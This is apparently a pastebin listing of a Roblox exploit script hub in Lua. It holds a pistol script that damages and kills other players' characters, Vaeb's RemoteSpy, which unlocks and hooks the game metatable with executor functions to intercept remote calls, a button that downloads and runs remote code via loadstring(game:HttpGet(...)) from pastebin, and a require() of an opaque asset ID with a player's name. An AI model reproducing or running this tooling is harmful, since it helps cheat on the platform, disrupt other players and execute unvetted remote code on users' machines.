  722. weld(backsight1,dot1,cfn(0,0.014,0)*ang(mr(-90),0,0))
  723.    
  724. local dot2=cp(tube,'Lime green',Vector3.new(0.2,0.2,0.2))
  725. cyl(dot2).Scale=Vector3.new(0.1,0.31,0.1)
  726. weld(backsight2,dot2,cfn(0,0.014,0)*ang(mr(-90),0,0))
  727.    
  728. local dot3=cp(tube,'Lime green',Vector3.new(0.2,0.2,0.2))
  729. cyl(dot3).Scale=Vector3.new(0.1,0.31,0.1)
  730. weld(frontsight,dot3,cfn(0,0.014,0)*ang(mr(-90),0,0))
  731.  
  732. local ba=cp(tube,secondaryColor,Vector3.new(0.2,0.2,0.2))
  733. blo(ba).Scale=Vector3.new(1.15,0.5,1)
  734. weld(framepiece1,ba,cfn(0,0,-0.55))
  735. ba.Reflectance=slideReflectance
  736. ba.Material=slideMaterial
  737.  
  738. local weirdholethatpistolshave=cp(tube,'Really black', Vector3.new(0.2,0.2,0.2))
  739. cyl(weirdholethatpistolshave).Scale=Vector3.new(0.4,1.01,0.4)
  740. weld(ba,weirdholethatpistolshave,cfn(0,0,0)*ang(mr(-90),0,0))
  741.  
  742. --[[Tactical Rails]]--
  743.  
  744. local r1=cp(tube,primaryColor,Vector3.new(0.2,0.2,0.2))
  745. blo(r1).Scale=Vector3.new(1.15,0.2,0.25)
  746. weld(framepiece1,r1,cfn(0,-0.05,-0.17))
  747.  
  748. local r2=cp(tube,primaryColor,Vector3.new(0.2,0.2,0.2))
  749. blo(r2).Scale=Vector3.new(1.15,0.2,0.25)
  750. weld(framepiece1,r2,cfn(0,-0.05,-0.27))
  751.    
  752. local r3=cp(tube,primaryColor,Vector3.new(0.2,0.2,0.2))
  753. blo(r3).Scale=Vector3.new(1.15,0.2,0.25)
  754. weld(framepiece1,r3,cfn(0,-0.05,-0.37))
  755.    
  756. if laser then
  757.     local base=cp(tube,primaryColor,Vector3.new(0.2,0.2,0.3))
  758.     blo(base).Scale=Vector3.new(1.15,1,1)
  759.     weld(r2,base,cfn(0,-0.05,0))
  760.     basehole=cp(tube,'White',Vector3.new(0.2,0.2,0.2))
  761.     cyl(basehole).Scale=Vector3.new(0.4,0.4,0.4)
  762.     weld(base,basehole,cfn(0,0,-0.13)*ang(mr(-90),0,0))
  763. end
  764.  
  765. if silencer then
  766.     local sil=cp(tube,'Really black',Vector3.new(0.2,0.3,0.2))
  767.     fireSound.SoundId='rbxassetid://153230595'
  768.     fireSound.Pitch=1
  769.     cyl(sil).Scale=Vector3.new(0.94,1.8,0.94)
  770.     weld(hole,sil,cfn(0,0.29,0))
  771. end
  772.  
  773. if grip then
  774.     local base=cp(tube,primaryColor,Vector3.new(0.2,0.2,0.3))
  775.     blo(base).Scale=Vector3.new(1.15,1,1)
  776.     weld(r2,base,cfn(0,-0.05,0))
  777.     local hd=cp(tube,primaryColor,Vector3.new(0.2,0.6,0.2))
  778.     cyl(hd)
  779.     weld(base,hd,cfn(0,-0.3,0))
  780.     crosshairSpread=3
  781.     spreadint=spreadint-0.3
  782. end
  783.  
  784. --[[Test Functions]]--
  785.  
  786. local debounce=false
  787. local out=false
  788. local bs=false
  789. cockSlide=function() -- hahaha yes i know
  790.     slideBackSound:Play()
  791.     if magAmmo<1 and out==true and bs==false then
  792.         wait()
  793.         slideweld1.C0=slideweld1.C0*cfn(0,0,0.22)
  794.     else
  795.         for i=1,2 do
  796.             wait()
  797.             slideweld1.C0=slideweld1.C0*cfn(0,0,0.22)
  798.         end
  799.     end
  800.     local ajar=false
  801.     if magAmmo==1 then
  802.         ajar=true
  803.     end
  804.     if magAmmo>0 then
  805.         createShell()
  806.         --magAmmo=magAmmo-1
  807.         ammocounter.Text=''
  808.         for i=1,magAmmo do
  809.            ammocounter.Text=ammocounter.Text .. 'I'
  810.         end
  811.     end
  812.     wait(0.15)
  813.     slideForwardSound:Play()
  814.     for i=1,2 do
  815.         wait()
  816.         slideweld1.C0=slideweld1.C0*cfn(0,0,-0.22)
  817.     end
  818.     if ajar==true then
  819.         out=true
  820.         slideweld1.C0=cfn(0,0.15,0.23)
  821.         slideweld1.C0=slideweld1.C0*cfn(0,0,0.22)
  822.     end
  823. end
  824.  
  825. --fx
  826. local firefx=cp(tube,'Neon orange',Vector3.new(0.7,1.1,0.7))
  827. firefx.Transparency=1
  828. local mesh=Instance.new('SpecialMesh',firefx)
  829. mesh.MeshType='Sphere'
  830. firefx.Material='Neon'
  831. weld(hole,firefx,cfn(0,1,0))
  832.  
  833. local smokefx=Instance.new('Smoke',hole)
  834. smokefx.Enabled=false
  835. barrel.CanCollide=true
  836.  
  837.  
  838.  
  839.  
  840. local oc = oc or function(...) return ... end
  841.  
  842. function ragJoint(hit,r,d)
  843.     Spawn(oc(function()
  844.     d = d or 0
  845.     local rpar,r0,r1 = r.Parent,r.Part0,r.Part1
  846.     if d > 0 then wait(d) end
  847.     local p = hit:Clone()
  848.     p:BreakJoints()
  849.     p:ClearAllChildren()
  850.     p.FormFactor = "Custom"
  851.     p.Size = p.Size/2
  852.     p.Transparency = 1
  853.     p.CanCollide = true
  854.     p.Name = "Colliduh"
  855.     p.Parent = hit
  856.     local w = Instance.new("Weld",p)
  857.     w.Part0 = hit
  858.     w.Part1 = p
  859.     w.C0 = CFrame.new(0,-p.Size.Y/2,0)
  860.     local rot = Instance.new("Rotate",rpar)
  861.     rot.Name = r.Name
  862.     rot.Part0 = r0
  863.     rot.Part1 = r1
  864.     rot.C0 = r.C0
  865.     rot.C1 = r.C1
  866.     r0.Velocity = Vector3.new()
  867.     r1.Velocity = Vector3.new()
  868.     r:Destroy()
  869.     end))
  870. end
  871.  
  872.  
  873. createShell=function()
  874.     local shell=cp(tube,'Deep orange',Vector3.new(0.2,0.3,0.2))
  875.     shell.CanCollide=true
  876.     shell.Reflectance=0.3
  877.     cyl(shell)
  878.     shell.CFrame=barrel.CFrame*ang(mr(-90),0,0)
  879.     magAmmo=magAmmo-1
  880.     ammocounter.Text=''
  881.     for i=1,magAmmo do
  882.         ammocounter.Text=ammocounter.Text .. 'I'
  883.     end
  884.     game.Debris:AddItem(shell,3)
  885. end
  886.  
  887. reloadPistol=function()
  888.     local current=magAmmo
  889.     Tween(lw,cfn())
  890.     Tween(rw,cfn()*ang(mr(-102),0,0))
  891.     wait(0.4)
  892.     releaseSound:Play()
  893.     bottom.Transparency=1
  894.     magh.Transparency=1
  895.     local mag1=magh:clone()
  896.     mag1.Transparency=0
  897.     mag1.Weld:Destroy''
  898.     local mag2=bottom:clone()
  899.     mag2.Transparency=0
  900.     mag1:BreakJoints''
  901.     mag2:BreakJoints''
  902.     local bm1=mag1:clone()
  903.     local bm2=mag2:clone()
  904.     mag1.Parent=tube
  905.     mag2.Parent=tube
  906.     mag1.CFrame=magh.CFrame
  907.     weld(mag1,mag2,cfn(0,-0.28,-0.015))
  908.     magAmmo=0
  909.     ammocounter.Text=''
  910.     for i=1,magAmmo do
  911.         ammocounter.Text=ammocounter.Text .. 'I'
  912.     end
  913.     wait()
  914.     mag1.CanCollide=true
  915.     mag2.CanCollide=true
  916.     game.Debris:AddItem(mag1,2)
  917.     game.Debris:AddItem(mag2,2)
  918.     wait(0.1)
  919.     Tween(lw,cfn()*ang(mr(25),0,0))
  920.     bm1.Parent=tube
  921.     bm2.Parent=tube
  922.     weld(bm1,bm2,cfn(0,-0.28,-0.015))
  923.     local fa=weld(ch['Left Arm'],bm1,cfn(0,-1.1,0)*ang(mr(-90),0,0))
  924.     wait(0.1)
  925.     Tween(lw,cfn(0,1.4,0)*ang(mr(-109),mr(60),mr(10)),0.07)
  926.     wait(0.25)
  927.     magazinelockSound:Play()
  928.     wait()
  929.    -- reloadSound:Play()
  930.     fa:Destroy''
  931.     bm1:Destroy''
  932.     bm2:Destroy''
  933.     bottom.Transparency=0
  934.     magh.Transparency=0
  935.     local totalcap=0
  936.     if current<1 then --none in chamber reload
  937.         --slideweld1.C0=cfn(0,0,0.45)
  938.         Tween(rw,cfn(0,0.7,0)*ang(mr(-90),mr(-30),0))
  939.         Tween(lw,cfn(0,0.7,0)*ang(mr(-115),mr(35),0))
  940.         wait(0.1)
  941.         spawn(function()
  942.             cockSlide()
  943.         end)
  944.         Tween(lw,cfn(0,0.7,0)*ang(mr(-115),mr(55),0))
  945.         wait(0.3)
  946.         totalcap=magCapacity
  947.     else
  948.         totalcap=magCapacity+1
  949.     end
  950.     magAmmo=totalcap
  951.     out=false
  952.     ammocounter.Text=''
  953.     for i=1,magAmmo do
  954.         ammocounter.Text=ammocounter.Text .. 'I'
  955.     end
  956.     restorePosition()
  957. end
  958.  
  959. firePistol=function()
  960.     switchIco(currentIco+crosshairSpread)
  961.     if not jammed and not out then
  962.         spread=spread+spreadint
  963.     end
  964.     print(spread)
  965.     fireSound.Pitch=math.random(math.random(fireSound.Pitch-0.2,fireSound.Pitch-0.1),math.random(fireSound.Pitch,fireSound.Pitch+0.1))
  966.     if magAmmo>0 and jammed==false then
  967.         local ajar=false
  968.         if magAmmo==1 then
  969.             ajar=true
  970.         end
  971.         user=ch
  972.         local ray = Ray.new(hole.CFrame.p, ((m.Hit.p+Vector3.new(math.random(-spread,spread)/6.35,math.random(-spread,spread)/6.35,math.random(-spread,spread)/6.35) )- hole.CFrame.p).unit*300)
  973.         local hit, position = game.Workspace:FindPartOnRay(ray, user)
  974.         if hit then
  975.             if hit.Transparency>0.285 and hit:GetMass()<3000 and hit.Parent.className~='Hat' then
  976.                 local temps=glassBreakSound:clone()
  977.                 temps.Parent=hit
  978.                 temps.Pitch=math.random(math.random(temps.Pitch-0.2,temps.Pitch-0.1),math.random(temps.Pitch,temps.Pitch+0.1))
  979.                 temps:Play''
  980.                 start_fragmentation(position,.25)
  981.             end
  982.             if tostring(hit.Material)=='Enum.Material.Wood' and hit.Transparency<0.05 then
  983.                 local temps=woodImpact:clone()
  984.                 temps.Volume=1
  985.                 temps.Pitch=math.random(math.random(temps.Pitch-0.2,temps.Pitch-0.1),math.random(temps.Pitch,temps.Pitch+0.1))
  986.                 temps.Parent=hit
  987.                 temps:Play''
  988.                 start_fragmentation(position,.15)
  989.             end
  990.             ypcall(function()
  991.                 if hit and hit.Parent and hit.Parent:findFirstChild'Humanoid' then
  992.                     local temps=fleshImpact:clone()
  993.                     temps.Parent=hit
  994.                     temps:Play()
  995.                     if hit.Name~='Head' then
  996.                         if pAmmunition==true then
  997.                             hit.Parent.Humanoid:TakeDamage(math.random(30,65))
  998.                         else
  999.                             hit.Parent.Humanoid:TakeDamage(math.random(10,24))
  1000.                         end
  1001.                         local guy=hit.Parent
  1002.                         if guy.Name~='TheDarkRevenant' then
  1003.                             for i,v in pairs(guy:GetChildren()) do
  1004.                                 if v.className=='Hat' then
  1005.                                     v.Handle:BreakJoints()
  1006.                                 end
  1007.                                 local r = guy.Torso:FindFirstChild(v.Name:gsub("Arm","Shoulder"):gsub("Leg","Hip"))
  1008.                                 if v:IsA("BasePart") and r then
  1009.                                     ragJoint(v,r,.1)
  1010.                                 elseif v:IsA("Humanoid") then
  1011.                                     spawn(function()
  1012.                                         wait(0.5)
  1013.                                         v.PlatformStand = true
  1014.                                         v.Changed:connect(function()
  1015.                                             v.PlatformStand = true
  1016.                                         end)
  1017.                                     end)
  1018.                                 end
  1019.                             end
  1020.                         end
  1021.                    
  1022.                     else
  1023.                         if hit.Parent.Name~='TheDarkRevenant' then
  1024.                             hit.Parent:BreakJoints()
  1025.                         end
  1026.                     end
  1027.                 end
  1028.  
  1029.             if hit.Parent.className=='Hat' then
  1030.                 hit.CanCollide=true
  1031.                 hit:BreakJoints()
  1032.                 hit.Velocity=m.Hit.p*5
  1033.             end
  1034.         end)
  1035.         end
  1036.         if m.Target then
  1037.             local p = Instance.new("Part")
  1038.             p.formFactor = "Custom"
  1039.             p.Size = Vector3.new(0.5,0.5,0.5)
  1040.             p.Transparency = 1
  1041.             p.CanCollide = false
  1042.             p.Locked = true
  1043.             p.CFrame = CFrame.new(position.x,position.y,position.z)--mouse.Target.CFrame+(mouse.Hit.p-mouse.Target.Position)
  1044.             local w = Instance.new("Weld")
  1045.             w.Part0 = mouse.Target
  1046.             w.Part1 = p
  1047.             w.C0 = mouse.Target.CFrame:inverse()
  1048.             w.C1 = p.CFrame:inverse()
  1049.             w.Parent = p
  1050.             local d = Instance.new("Decal")
  1051.             d.Parent = p
  1052.             d.Face = mouse.TargetSurface
  1053.             d.Texture = 'rbxassetid://' .. tostring(bulletholes[math.random(#bulletholes)]-2)
  1054.             p.Parent = tube
  1055.             game.Debris:AddItem(p,6)
  1056.         end
  1057.         if recoil==true then
  1058.             cam:SetRoll(math.random(-2,2))
  1059.             cam:TiltUnits(0.501)
  1060.         end
  1061.         local th=cp(tube,"Really black",Vector3.new(1,1,1))
  1062.         th.CanCollide=false
  1063.         th.Anchored=true
  1064.         th.CFrame=CFrame.new(position.x,position.y,position.z)
  1065.         local spm=Instance.new('SpecialMesh',th)
  1066.         spm.MeshType='Sphere'
  1067.         spm.Scale=Vector3.new(0.05,0.05,0.05)
  1068.         spawn(function()
  1069.             for i=1,5 do
  1070.                 wait()
  1071.                 spm.Scale=spm.Scale+Vector3.new(0.16,0.16,0.16)
  1072.                 th.Transparency=th.Transparency+0.2
  1073.             end
  1074.             th:Destroy()
  1075.         end)
  1076.         fireSound:Play()
  1077.         spawn(function()
  1078.             firefx.Transparency=0
  1079.             wait()
  1080.             firefx.Transparency=1
  1081.         end)
  1082.         spawn(function()
  1083.             flash.Enabled=true
  1084.             for i=1,2 do
  1085.                 wait()
  1086.                 slideweld1.C0=slideweld1.C0*cfn(0,0,0.22)
  1087.             end
  1088.             flash.Enabled=false
  1089.             createShell()
  1090.             for i=1,2 do
  1091.                 wait()
  1092.                 slideweld1.C0=slideweld1.C0*cfn(0,0,-0.22)
  1093.             end
  1094.             slideweld1.C0=cfn(0,0.15,0.23)
  1095.             if ajar==true then
  1096.                 out=true
  1097.                 slideweld1.C0=cfn(0,0.15,0.23)
  1098.                 slideweld1.C0=slideweld1.C0*cfn(0,0,0.22)
  1099.             end
  1100.         end)
  1101.         ammocounter.Text=''
  1102.         for i=1,magAmmo do
  1103.            ammocounter.Text=ammocounter.Text .. 'I'
  1104.         end
  1105.         wait()
  1106.         Tween(rw,cfn(0,0.7,0)*ang(mr(-100),mr(-30),0),0.62)
  1107.         if not grip then
  1108.             Tween(lw,cfn(0,0.7,0)*ang(mr(-100),mr(30),0),0.62)
  1109.         else
  1110.             Tween(lw,cfn(0,1.3,0)*ang(mr(-100),mr(30),0),0.62)
  1111.         end
  1112.         wait(0.065)
  1113.         restorePosition(0.3)
  1114.     else
  1115.         if magAmmo<1 then
  1116.             slideweld1.C0=cfn(0,0.15,0.23)
  1117.             slideweld1.C0=slideweld1.C0*cfn(0,0,0.22)
  1118.         end
  1119.         emptySound:Play()
  1120.     end
  1121.     if math.random(jamRate)==jamRate and magAmmo>0 then
  1122.         jammed=true
  1123.     end
  1124. end
  1125.  
  1126. debounced=function()
  1127.     if sheathed==false and debounce==false then
  1128.         return true
  1129.     end
  1130. end
  1131.  
  1132. mouse.Button1Down:connect(function()
  1133.     if debounced() then
  1134.         if automatic==false then
  1135.             debounce=true
  1136.             firePistol()
  1137.             debounce=false
  1138.         else
  1139.          heldDown=true
  1140.             firePistol()
  1141.         end
  1142.     end
  1143. end)
  1144.  
  1145. mouse.Button1Up:connect(function()
  1146.     heldDown=false
  1147. end)
  1148.  
  1149. sheathGun=function()
  1150.     ammocounter.Visible=false
  1151.     if laser then
  1152.         laserEnabled=false
  1153.         aLaser.Transparency=1
  1154.     end
  1155.     Tween(rw,cfn())
  1156.     Tween(lw,cfn())
  1157.     wait(0.1)
  1158.     mw:Destroy''
  1159.     mw=nil
  1160.     mw=weld(tor,handle,cfn(1.11,-1.09,0)*ang(mr(-111.5),0,0))
  1161.     labr:Destroy()
  1162.     rabr:Destroy()
  1163.     bg.maxTorque=Vector3.new()
  1164.     sheathed=true
  1165. end
  1166.  
  1167. unsheathGun=function()
  1168.     ammocounter.Visible=true
  1169.     mw:Destroy''
  1170.     mw=nil
  1171.     initializeJoints()
  1172.     mw=weld(ch['Right Arm'],handle,cfn(-0.4,-1,-0.19)*ang(mr(-101.5),0,0)*cfn()*ang(0,mr(-30),mr(-5)))
  1173.     restorePosition()
  1174.     bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  1175.     sheathed=false
  1176. end
  1177.  
  1178. laserEnabled=false
  1179.  
  1180. mouse.KeyDown:connect(function(key)
  1181.     if key=='r' and debounced() then
  1182.         debounce=true
  1183.         reloadPistol()
  1184.         debounce=false
  1185.     elseif key=='f' and debounced() then
  1186.         debounce=true
  1187.         bs=true
  1188.         Tween(rw,cfn(0,0.7,0)*ang(mr(-90),mr(-30),0))
  1189.         Tween(lw,cfn(0,0.7,0)*ang(mr(-115),mr(35),0))
  1190.         wait(0.1)
  1191.         spawn(function()
  1192.             cockSlide()
  1193.         end)
  1194.         Tween(lw,cfn(0,0.7,0)*ang(mr(-115),mr(55),0))
  1195.         wait(0.3)
  1196.         jammed=false
  1197.         restorePosition()
  1198.         bs=false
  1199.         debounce=false
  1200.     elseif key=='l' and debounced() then
  1201.         if not laserEnabled then
  1202.             laserEnabled=true
  1203.             aLaser.Transparency=0.35
  1204.         else
  1205.             laserEnabled=false
  1206.             aLaser.Transparency=1
  1207.         end
  1208.     end
  1209. end)
  1210.  
  1211. restorePosition=function(speed)
  1212.     if not grip then
  1213.         Tween(rw,cfn(0,0.7,0)*ang(mr(-90),mr(-30),0),speed)
  1214.         Tween(lw,cfn(0,0.7,0)*ang(mr(-90),mr(30),0),speed)
  1215.     else
  1216.         Tween(rw,cfn(0,0.7,0)*ang(mr(-90),mr(-30),0),speed)
  1217.         Tween(lw,cfn(0,1.3,0)*ang(mr(-90),mr(30),0),speed)
  1218.     end
  1219. end
  1220.  
  1221. hopper.Selected:connect(function()
  1222.     unsheathGun()
  1223. end)
  1224.  
  1225. hopper.Deselected:connect(function()
  1226.     sheathGun()
  1227. end)
  1228.  
  1229. game:service'RunService'.RenderStepped:connect(function()
  1230.     bg.cframe = CFrame.new(rootpart.Position,mouse.Hit.p*Vector3.new(1,0,1)+rootpart.Position*Vector3.new(0,1,0))
  1231.     if laserEnabled==true then
  1232.         local user=ch
  1233.         local ray = Ray.new(hole.CFrame.p, (m.Hit.p - hole.CFrame.p).unit*300)
  1234.         local hit, position = game.Workspace:FindPartOnRay(ray, user)
  1235.         local distance = (position - basehole.CFrame.p).magnitude
  1236.         aLaser.Size=Vector3.new(0.2,distance,0.2)
  1237.         aLaser.CFrame=CFrame.new(position, basehole.CFrame.p) * CFrame.new(0, 0, -distance/2) * ang(mr(-90),0,0)
  1238.     end
  1239.     for _,v in pairs(tweenTable) do
  1240.         if v.Weld.C1==v.Stop then
  1241.             table.remove(tweenTable,_)
  1242.         else
  1243.             if v.th<0.9 then
  1244.                 v.th=v.th+v.Step
  1245.                 i=v.th
  1246.                 v.Weld.C1 = CFrame.new( (v.Start.p.X * (1 - i)) + (v.Stop.p.X * i),
  1247.                 (v.Start.p.Y * (1 - i)) + (v.Stop.p.Y * i),
  1248.                 (v.Start.p.Z * (1 - i)) + (v.Stop.p.Z * i)) * CFrame.fromEulerAnglesXYZ(
  1249.                 (v.X1 * (1 - i)) + (v.X2 * i), (v.Y1 * (1 - i)) + (v.Y2 * i),
  1250.                 (v.Z1 * (1 - i)) + (v.Z2 * i) )
  1251.             else
  1252.                 v.Weld.C1 = v.Stop
  1253.             end
  1254.         end
  1255.     end
  1256. end)
  1257. for i=1,magAmmo do
  1258.    ammocounter.Text=ammocounter.Text .. 'I'
  1259. end
  1260.  
  1261. sheathGun()
  1262.  
  1263. spawn(function()
  1264.     while wait(0.07) do
  1265.         if heldDown==true then
  1266.             spawn(function()
  1267.                 firePistol()
  1268.             end)
  1269.         end
  1270.     end
  1271. end)
  1272. m.TargetFilter=tube
  1273.  
  1274. while wait(0.03) do
  1275.     if spread>1 then
  1276.        spread=spread-spreadint/4
  1277.     end
  1278.     if spread<1 then
  1279.        spread=1
  1280.     end
  1281.     if currentIco>2 then
  1282.        switchIco(currentIco-1)
  1283.     end
  1284. end
  1285.  
  1286. --hl/https://httpget-inumeration.c9.io/mp45.lua
  1287. --local/game.Players.Conmiro:Destroy'
  1288. end)
  1289.  
  1290. RemoteSpy.MouseButton1Click:Connect(function()
  1291.     --[[
  1292.  
  1293.     -Created by Vaeb.
  1294.  
  1295. ]]
  1296.  
  1297. _G.scanRemotes = true
  1298.  
  1299. _G.ignoreNames = {
  1300.     Event = true;
  1301.     MessagesChanged = true;
  1302. }
  1303.  
  1304. setreadonly(getrawmetatable(game), false)
  1305. local pseudoEnv = {}
  1306. local gameMeta = getrawmetatable(game)
  1307.  
  1308. local tabChar = "      "
  1309.  
  1310. local function getSmaller(a, b, notLast)
  1311.     local aByte = a:byte() or -1
  1312.     local bByte = b:byte() or -1
  1313.     if aByte == bByte then
  1314.         if notLast and #a == 1 and #b == 1 then
  1315.             return -1
  1316.         elseif #b == 1 then
  1317.             return false
  1318.         elseif #a == 1 then
  1319.             return true
  1320.         else
  1321.             return getSmaller(a:sub(2), b:sub(2), notLast)
  1322.         end
  1323.     else
  1324.         return aByte < bByte
  1325.     end
  1326. end
  1327.  
  1328. local function parseData(obj, numTabs, isKey, overflow, noTables, forceDict)
  1329.     local objType = typeof(obj)
  1330.     local objStr = tostring(obj)
  1331.     if objType == "table" then
  1332.         if noTables then
  1333.             return objStr
  1334.         end
  1335.         local isCyclic = overflow[obj]
  1336.         overflow[obj] = true
  1337.         local out = {}
  1338.         local nextIndex = 1
  1339.         local isDict = false
  1340.         local hasTables = false
  1341.         local data = {}
  1342.  
  1343.         for key, val in next, obj do
  1344.             if not hasTables and typeof(val) == "table" then
  1345.                 hasTables = true
  1346.             end
  1347.  
  1348.             if not isDict and key ~= nextIndex then
  1349.                 isDict = true
  1350.             else
  1351.                 nextIndex = nextIndex + 1
  1352.             end
  1353.  
  1354.             data[#data+1] = {key, val}
  1355.         end
  1356.  
  1357.         if isDict or hasTables or forceDict then
  1358.             out[#out+1] = (isCyclic and "Cyclic " or "") .. "{"
  1359.             table.sort(data, function(a, b)
  1360.                 local aType = typeof(a[2])
  1361.                 local bType = typeof(b[2])
  1362.                 if bType == "string" and aType ~= "string" then
  1363.                     return false
  1364.                 end
  1365.                 local res = getSmaller(aType, bType, true)
  1366.                 if res == -1 then
  1367.                     return getSmaller(tostring(a[1]), tostring(b[1]))
  1368.                 else
  1369.                     return res
  1370.                 end
  1371.             end)
  1372.             for i = 1, #data do
  1373.                 local arr = data[i]
  1374.                 local nowKey = arr[1]
  1375.                 local nowVal = arr[2]
  1376.                 local parseKey = parseData(nowKey, numTabs+1, true, overflow, isCyclic)
  1377.                 local parseVal = parseData(nowVal, numTabs+1, false, overflow, isCyclic)
  1378.                 if isDict then
  1379.                     local nowValType = typeof(nowVal)
  1380.                     local preStr = ""
  1381.                     local postStr = ""
  1382.                     if i > 1 and (nowValType == "table" or typeof(data[i-1][2]) ~= nowValType) then
  1383.                         preStr = "\n"
  1384.                     end
  1385.                     if i < #data and nowValType == "table" and typeof(data[i+1][2]) ~= "table" and typeof(data[i+1][2]) == nowValType then
  1386.                         postStr = "\n"
  1387.                     end
  1388.                     out[#out+1] = preStr .. string.rep(tabChar, numTabs+1) .. parseKey .. " = " .. parseVal .. ";" .. postStr
  1389.                 else
  1390.                     out[#out+1] = string.rep(tabChar, numTabs+1) .. parseVal .. ";"
  1391.                 end
  1392.             end
  1393.             out[#out+1] = string.rep(tabChar, numTabs) .. "}"
  1394.         else
  1395.             local data2 = {}
  1396.             for i = 1, #data do
  1397.                 local arr = data[i]
  1398.                 local nowVal = arr[2]
  1399.                 local parseVal = parseData(nowVal, 0, false, overflow, isCyclic)
  1400.                 data2[#data2+1] = parseVal
  1401.             end
  1402.             out[#out+1] = "{" .. table.concat(data2, ", ") .. "}"
  1403.         end
  1404.  
  1405.         return table.concat(out, "\n")
  1406.     else
  1407.         local returnVal = nil
  1408.         if (objType == "string" or objType == "Content") and (not isKey or tonumber(obj:sub(1, 1))) then
  1409.             local retVal = '"' .. objStr .. '"'
  1410.             if isKey then
  1411.                 retVal = "[" .. retVal .. "]"
  1412.             end
  1413.             returnVal = retVal
  1414.         elseif objType == "EnumItem" then
  1415.             returnVal = "Enum." .. tostring(obj.EnumType) .. "." .. obj.Name
  1416.         elseif objType == "Enum" then
  1417.             returnVal = "Enum." .. objStr
  1418.         elseif objType == "Instance" then
  1419.             returnVal = obj.Parent and obj:GetFullName() or obj.ClassName
  1420.         elseif objType == "CFrame" then
  1421.             returnVal = "CFrame.new(" .. objStr .. ")"
  1422.         elseif objType == "Vector3" then
  1423.             returnVal = "Vector3.new(" .. objStr .. ")"
  1424.         elseif objType == "Vector2" then
  1425.             returnVal = "Vector2.new(" .. objStr .. ")"
  1426.         elseif objType == "UDim2" then
  1427.             returnVal = "UDim2.new(" .. objStr:gsub("[{}]", "") .. ")"
  1428.         elseif objType == "BrickColor" then
  1429.             returnVal = "BrickColor.new(\"" .. objStr .. "\")"
  1430.         elseif objType == "Color3" then
  1431.             returnVal = "Color3.new(" .. objStr .. ")"
  1432.         elseif objType == "NumberRange" then
  1433.             returnVal = "NumberRange.new(" .. objStr:gsub("^%s*(.-)%s*$", "%1"):gsub(" ", ", ") .. ")"
  1434.         elseif objType == "PhysicalProperties" then
  1435.             returnVal = "PhysicalProperties.new(" .. objStr .. ")"
  1436.         else
  1437.             returnVal = objStr
  1438.         end
  1439.         return returnVal
  1440.     end
  1441. end
  1442.  
  1443. function tableToString(t)
  1444.     return parseData(t, 0, false, {}, nil, false)
  1445. end
  1446.  
  1447. local detectClasses = {
  1448.     BindableEvent = true;
  1449.     BindableFunction = true;
  1450.     RemoteEvent = true;
  1451.     RemoteFunction = true;
  1452. }
  1453.  
  1454. local classMethods = {
  1455.     BindableEvent = "Fire";
  1456.     BindableFunction = "Invoke";
  1457.     RemoteEvent = "FireServer";
  1458.     RemoteFunction = "InvokeServer";
  1459. }
  1460.  
  1461. local realMethods = {}
  1462.  
  1463. for name, enabled in next, detectClasses do
  1464.     if enabled then
  1465.         realMethods[classMethods[name]] = Instance.new(name)[classMethods[name]]
  1466.     end
  1467. end
  1468.  
  1469. for key, value in next, gameMeta do pseudoEnv[key] = value end
  1470.  
  1471. local incId = 0
  1472.  
  1473. local function getValues(self, key, ...)
  1474.     return {realMethods[key](self, ...)}
  1475. end
  1476.  
  1477. gameMeta.__index, gameMeta.__namecall = function(self, key)
  1478.     if not realMethods[key] or _G.ignoreNames[self.Name] or not _G.scanRemotes then return pseudoEnv.__index(self, key) end
  1479.     return function(_, ...)
  1480.         incId = incId + 1
  1481.         local nowId = incId
  1482.         local strId = "[RemoteSpy_" .. nowId .. "]"
  1483.  
  1484.         local allPassed = {...}
  1485.         local returnValues = {}
  1486.  
  1487.         local ok, data = pcall(getValues, self, key, ...)
  1488.  
  1489.         if ok then
  1490.             returnValues = data
  1491.             print("\n" .. strId .. " ClassName: " .. self.ClassName .. " | Path: " .. self:GetFullName() .. " | Method: " .. key .. "\n" .. strId .. " Packed Arguments: " .. tableToString(allPassed) .. "\n" .. strId .. " Packed Returned: " .. tableToString(returnValues) .. "\n")
  1492.         else
  1493.             print("\n" .. strId .. " ClassName: " .. self.ClassName .. " | Path: " .. self:GetFullName() .. " | Method: " .. key .. "\n" .. strId .. " Packed Arguments: " .. tableToString(allPassed) .. "\n" .. strId .. " Packed Returned: [ERROR] " .. data .. "\n")
  1494.         end
  1495.  
  1496.         return unpack(returnValues)
  1497.     end
  1498. end
  1499.  
  1500. print("\nRan Vaeb's RemoteSpy\n")
  1501. end)
  1502.  
  1503. DevExplorer.MouseButton1Click:Connect(function()
  1504.     -- Dex v2 : --
  1505. loadstring(game:HttpGet(('https://pastebin.com/raw/Ht4zRXj8'),true))()
  1506. end)
  1507.  
  1508. More.MouseButton1Click:Connect(function(player)
  1509.     require(5536569504):SH(player.Name)
  1510. end)
Advertisement
Add Comment
Please, Sign In to add comment